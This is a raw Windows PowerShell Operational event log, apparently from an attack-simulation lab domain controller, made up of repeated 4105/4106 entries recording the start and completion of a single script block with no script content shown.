SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468301
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468300
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468299
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468298
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468297
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468296
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468295
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468294
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468293
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468292
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468291
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468290
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468289
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468288
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468287
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468286
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468285
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468284
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468283
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468282
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468281
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468280
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468279
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468278
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468277
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468276
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468275
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468274
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468273
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468272
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468271
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468270
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468269
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468268
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468267
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468266
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468265
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468264
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468263
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468262
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468261
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468260
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468259
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468258
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468257
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468256
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468255
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468254
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468253
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468252
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468251
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468250
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468249
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468248
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468247
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468246
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
